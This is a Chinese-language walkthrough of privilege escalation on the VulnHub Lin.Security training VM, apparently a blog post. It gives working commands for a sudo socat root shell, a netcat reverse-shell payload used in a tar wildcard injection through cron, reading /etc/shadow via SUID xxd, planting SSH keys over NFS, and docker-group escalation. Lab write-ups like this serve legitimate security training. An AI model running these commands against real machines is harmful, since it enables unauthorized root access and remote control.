[VulnHub靶机]Lin.Security_linux提权
文章目录
- 靶机描述
- 提权
- 1. sudo提权
- 2. socat提权
- 3. /etc/passwd哈希
- 3.1 /etc/passwd/
- 3.2 /etc/shadow/
- 4. crontab定时任务
- 5. 敏感隐藏文件
- 6. suid提权
- 7. NFS服务低权限访问
- 8. docker组提权
靶机描述
在in.security,我们希望开发一个Linux虚拟机,该虚拟机在编写本文时基于最新的Ubuntu发行版(18.04 LTS),但存在许多漏洞,这些漏洞使用户无法升级扎根在盒子上。旨在帮助理解某些内置应用程序和服务(如果配置错误)可能会被攻击者滥用。
首先,您可以使用以下凭据登录主机:bob / secret
下载地址:https://in.security/downloads/lin.security_v1.0.ova
靶机IP:192.168.56.106
直接ssh连接:
ssh bob@192.168.56.106
id查看用户id以及所属群组id:
超级用户(0):默认是root用户,其UID和GID都是0。root用户在每台Unix和Linux系统中都是唯一且真是存在的,通过它可以登陆系统,操作系统中任何文件执行系统中任何命令,拥有最高管理权限。
普通用户(1~499):系统中大多数用户都是普通用户,实际中也一般使用普通用户操作,需要权限是用sudo命令提升权限。
虚拟用户(500~65535):与真实的普通用户区分开来,这类用户最大特点是安装系统后默认就会存在,且默认情况大多数不能登陆系统,其在/etc/passwd文件中,最后字段为/sbin/nologin。是系统正常运行不可缺少的,主要是方便系统管理,满足相应的系统进程对文件属主的要求
我们并不是root权限
下面就开始提权吧
提权
1. sudo提权
sudo权限是root把本来只能超级用户执行的命令赋予普通用户执行
配置文件是/etc/sudoers
sudo -l
查看支持root权限的命令
bob@linsecurity:~$ sudo -l
[sudo] password for bob:
Matching Defaults entries for bob on linsecurity:env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/biUser bob may run the following commands on linsecurity:(ALL) /bin/ash, /usr/bin/awk, /bin/bash, /bin/sh, /bin/csh, /usr/bi/usr/bin/man, /bin/more, /usr/bin/scp, /usr/bin/socat, /usr/bin/usr/bin/script, /usr/bin/scp
这边https://gtfobins.github.io/参考这个学习github里面很多讲解sudo下的提权…
只要是sudo -l 中/user/bin/目录下的形式都有方法提权
2. socat提权
在服务端建立一个端口1234的shell
sudo socat tcp-listen:1234,reuseaddr,fork exec:sh,pty,stderr,setsid,sigint,sane
连接,在本地机器启动本地的1234端口LISTEN:
socat FILE:`tty`,raw,echo=0 TCP:127.0.0.1:1234
3. /etc/passwd哈希
linux的用户密码哈希存储在/etc/shadow文件,普通用户能够查看到的则是/etc/passwd这个文件 在/etc/passwd中
比如:root:\x:0:0:root:/root:/bin/bash。账户的第二列是密码哈希,如果该列为x则代表密码哈希存储在/etc/shadow文件上
3.1 /etc/passwd/
普通用户权限能够查看保存用户信息,每一行代表一个用户,每一行通过冒号:分为七个部分1.用户名
2.密码,x表示密码保存在/etc/shadow
3.UID,0代表root
4.GID,表示所在组
5.描述信息,依次为Full Name、Room Number、Work Phone、Home Phone和Other
6.用户主目录
7.默认shell类型
我们先查看一下,找到了一个超级权限用户,并显示了加密后的密码:
去网站解密:
获得密码P@ssw0rd!
3.2 /etc/shadow/
只有root用户权限能够查看保存加密后的密码和用户的相关密码信息,每一行代表一个用户,每一行通过冒号:分为九个部分1.用户名
2.加密后的密码
3.上次修改密码的时间(从1970.1.1开始的总天数)
4.两次修改密码间隔的最少天数,如果为0,则没有限制
5.两次修改密码间隔最多的天数,表示该用户的密码会在多少天后过期,如果为99999则没有限制
6.提前多少天警告用户密码将过期
7.在密码过期之后多少天禁用此用户
8.用户过期日期(从1970.1.1开始的总天数),如果为0,则该用户永久可用
9.保留#由示例可知,加密的密码具有固定格式:
$id$salt$encrypted
id表示加密算法,1代表MD5,5代表SHA-256,6代表SHA-512
salt为盐值,系统随机生成
encrypted表示密码的hash值
sudo man /etc/shadow
4. crontab定时任务
cron的攻击方法:https://www.hackingarticles.in/exploiting-wildcard-for-privilege-escalation/
crontab文件格式
* * * * * command分 时 日 月 周 命令第1列表示分钟1~59 每分钟用*或者 */1表示
第2列表示小时1~23(0表示0点)
第3列表示日期1~31
第4列表示月份1~12
第5列标识号星期0~6(0表示星期天)
第6列要运行的命令
查看定时任务:
cat /etc/crontab
在kali上生成payload的命令:
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.56.106 lport=9999 R
生成的payload:
mkfifo /tmp/vqfv; nc 192.168.56.106 9999 0</tmp/vqfv | /bin/sh >/tmp/vqfv 2>&1; rm /tmp/vqfv
接下来在靶机上运行:
#将payload写入shell.sh,并赋予执行权限
echo "mkfifo /tmp/vqfv; nc 192.168.56.106 9999 0</tmp/vqfv | /bin/sh >/tmp/vqfv 2>&1; rm /tmp/vqfv" > shell.sh && chmod +x shell.sh#再创建两个文件:--checkpoint-action=exec=sh shell.sh 和 --checkpoint=1
echo > "--checkpoint-action=exec=sh shell.sh"
echo > "--checkpoint=1"
##--checkpoint-action选项:用于指定到达检查点时将要执行的程序,这将允许我们运行一个任意的命令。
##因此,选项--checkpoint=1 和 --checkpoint-action=exec=sh shell.sh作为命令行选项交给了tar程序#nc -lvvp 9999开启本地监听,等待定时任务的反弹连接
已经接收到反弹shell:
5. 敏感隐藏文件
find查找所有隐藏文件:
find / -name ".*" -type f -path "/home/*" -exec ls -al {} \; 2>/dev/null
查看文件,得到susan账户的密码:
6. suid提权
查找 suid权限文件的命令
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
xxd提权
xxd命令可以为给定的标准输入或者文件做一次十六进制的输出,它也可以将十六进制输出转换为原来的二进制格式,当suid和执行权限一起使用将会造成提权
1.首先查看组信息,itservices组具有执行权限
查看到用户susan属于itservices用户组:
cat /etc/group | grep itservices
切换为susan用户执行命令查看/etc/shadow/文件:
xxd "/etc/shadow" |xxd -r
将用户和密码复制到文档中,使用john命令可以爆破密码
taskset执行bash
taskset 1 /bin/bash -p
7. NFS服务低权限访问
NFS:Network File System即网络文件系统,它允许网络中的计算机之间通过TCP/IP网络共享资源。在NFS的应用中,本地NFS的客户端应用可以透明地读写位于远端NFS服务器上的文件,就像访问本地文件一样。2049
端口,对应nfs服务.
查看可以访问的 nfs 目录
showmount -e 192.168.56.106
#挂载peter home目录:
尝试在挂载的目录里创建文件,提示权限不够
即使我们在kali攻击机上是root用户,但是我们还是没有写入权限,因为默认情况下客户端的root身份会被主动压缩成匿名者
原理为:在Kali上挂载NFS共享,创建一个gid为1005的用户组,接着创建peter这个账户uid指定为1001,gid指定为1005
groupadd -g 1005 peteradduser peter -uid 1001 -gid 1005
现在我们就有了写文件的权限
写入ssh公钥
#[攻击机]ssh-keygen生成公私钥对
ssh-keygen
#创建.ssh目录
peter@kali:/mnt/peter$ mkdir .ssh#传输public key
peter@kali:/mnt/peter$ cat ~/.ssh/id_rsa.pub > /mnt/peter/.ssh/authorized_keys#设置权限
peter@kali:/mnt/peter/ chmod 700 ../.ssh/
peter@kali:/mnt/peter/.ssh$ chmod 600 authorized_keys#使用私钥登录
8. docker组提权
peter用户属于docker组,docker组的成员,那么可以根据此漏洞来获取root的shell
https://fosterelli.co/privilege-escalation-via-docker.html
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
失败了,但看了其他大佬的博客,有成功的,暂时还不清楚什么原因,就先总结到这里!
[VulnHub靶机]Lin.Security_linux提权相关推荐
- Linux常用提权方法 (゚益゚メ) 渗透测试
文章目录 简介 常用命令汇总 靶机环境 Linux提权方法 Linux提权漏洞利用 脏牛(Dirty COW)CVE-2016-5195漏洞 CVE-2019-7304漏洞 CVE-2019-1327 ...
- Linux提权之suid篇
Linux提权之suid篇 不知攻,焉知防 一个在安服路上摸索的大三生,记录平时学习笔记 suid前言: 1.只有可以执行的二进制程序文件才能设定SUID权限,非二进制文件设置SUID权限没任何意义. ...
- [网络安全自学篇] 六十五.Vulnhub靶机渗透之环境搭建及JIS-CTF入门和蚁剑提权示例(一)
这是作者的网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步.前文分享了SMBv3服务远程代码执行漏洞(CVE-2020-0796),攻击者可 ...
- 【渗透测试】Lin.Security靶机渗透练习_虚拟机无法获取ip的配置方法+靶机多种提权方式练习
靶机描述:在in.security,我们希望开发一个Linux虚拟机,该虚拟机在编写本文时基于最新的Ubuntu发行版(18.04 LTS),但存在许多漏洞,这些漏洞使用户无法升级扎根在盒子上.旨在帮 ...
- Vulnhub 靶机 VulnOSv2 write up opendocman cms 32075 sql注入 账号密码 ssh连接 37292.c 脏牛提权
VulnOSv2 write up 0x00 环境搭建 0x01 信息收集 0x02 漏洞挖掘 web思路 步骤一:枚举目录+主页挖掘 步骤二:OpenDocMan v1.2.7 cms利用 步骤三: ...
- Vulnhub 靶机 Stapler write up samba+wp advanced-video ->mysql 密码 连接 john解密 登录后台 wp插件getshell sudo提权
Stapler write up 0x00 靶机搭建 0x01 信息收集 0x02 漏洞挖掘 web思路 mysql 思路 ftp 思路 139 samba思路 步骤一:ftp匿名访问 步骤二:sam ...
- [VulnHub靶机]Lampiao_脏牛提权
文章目录 环境介绍 实验步骤 1. 扫描端口 2. 信息收集 3. ssh爆破 4. drupal 7 漏洞getshell 5. 脏牛提权 环境介绍 攻击机:kali(192.168.56.104) ...
- 6-vulnhub靶场-LordOfTheRoot_1.0.1靶机内核提权udf提权缓冲区溢出提权
6-LordOfTheRoot_1.0.1 靶机地址 https://www.vulnhub.com/entry/lord-of-the-root-101,129/ 难度 中等(主要是缓冲区溢出) 1 ...
- Vulnhub靶场渗透测试系列bulldog(命令注入和sudo提权)
Vulnhub靶场渗透测试系列bulldog(命令注入和sudo提权) 靶机地址:https://www.vulnhub.com/entry/bulldog-1%2C211/ 下载将其导入VMware ...
最新文章
- RxJava 源码解析之观察者模式
- 因退休太无聊,Python创始人加入微软!
- optee中core_init_mmu_regs函数解读
- 80m的mysql文件要导入多久_mysql导入数据库文件最大限制更改解决方法:You probably tried to upload too large file...
- 编程获取linuxservercpu、内存和磁盘使用
- 中国人均负债15.5万元,你贡献了多少?
- apt-get更新软件包_如何使用Apt-fast加速软件包下载和更新
- [vue] v-for循环中key有什么作用?
- java clone原理_详解Java中的clone方法 -- 原型模式
- 原创 | 万万没想到,JVM内存结构的面试题可以问的这么难?
- python中json使用方法总结_python中的json总结
- 2013年美国国情咨文总结
- 主动訪问用户数据的背后是品牌战略
- Java中的生产消费者问题
- paip..net c# 调用JS JAVASCRIPT变量与方法
- 《人工智能》之《计算智能》习题解析
- 罗永浩2014 一个理想主义者的创业故事Ⅳ 演讲稿实录
- Python将单一数字标签进行one-hot编码
- 轻巧入耳,畅享高音质,雷柏VM700S蓝牙TWS背光游戏耳机开箱实测
- WhbtomT(半路出家) 的每日英语 收集 (四)
热门文章
- Python简单实现数据降噪滤波处理_滢泷版
- 虚拟机Linux下Oracle11g客户端安装
- 动态类型语言和静态类型语言的区别
- python读取 .sqlite 数据库文件
- 笔记本电脑网卡和无线网卡基本知识
- phpbb风格模板_phpbb3 风格定制 | 学步园
- AssemblyInfo.cs文件:包含程序版本、信息、版权的属性文件(转转转)
- 浏览器Performance性能监控使用详解
- 2022-2028年全球与中国尼龙轮胎帘布行业发展趋势及竞争策略研究
- 使用Amazon CDK部署基于Amazon Fargate的高可用、易扩展的Airflow集群